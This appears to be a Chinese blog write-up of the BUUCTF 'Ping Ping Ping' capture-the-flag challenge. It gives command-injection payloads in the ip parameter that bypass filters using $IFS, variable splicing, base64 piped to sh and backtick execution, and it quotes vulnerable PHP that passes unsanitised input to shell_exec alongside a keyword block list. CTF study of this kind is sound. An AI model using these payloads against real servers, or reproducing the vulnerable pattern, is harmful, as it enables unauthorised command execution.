BUUCTF(十)[GXYCTF2019]Ping Ping Ping 1

BUUCTF系列

/?ip=baidu.com

/?ip=baidu.com|ls

image

正常回显,当cat flag.php时,提示不让输入空格,而且后面还不让出现falg字符

IFS

IFS (Internal Field Separator) 是内部字段分隔符
我们用其他字符(如:)表示空格,再来个联合命令

/?ip=baidu.com;IFS=:;a=g;ctf=cat:fla$a.php;$ctf

image

其他解法

可以先看看过滤规则

/?ip=baidu.com;cat$IFS$1index.php

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

1.使用sh

cat flag.php=base64加密=>Y2F0IGZsYWcucGhw

/?ip=baidu.com;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

2.内联执行
把反引号里的内容输出作为输入执行

cat$IFS$1cat`ls`

image

posted @ 2021-05-09 16:08  HUGBOY  阅读(86)  评论(0编辑  收藏  举报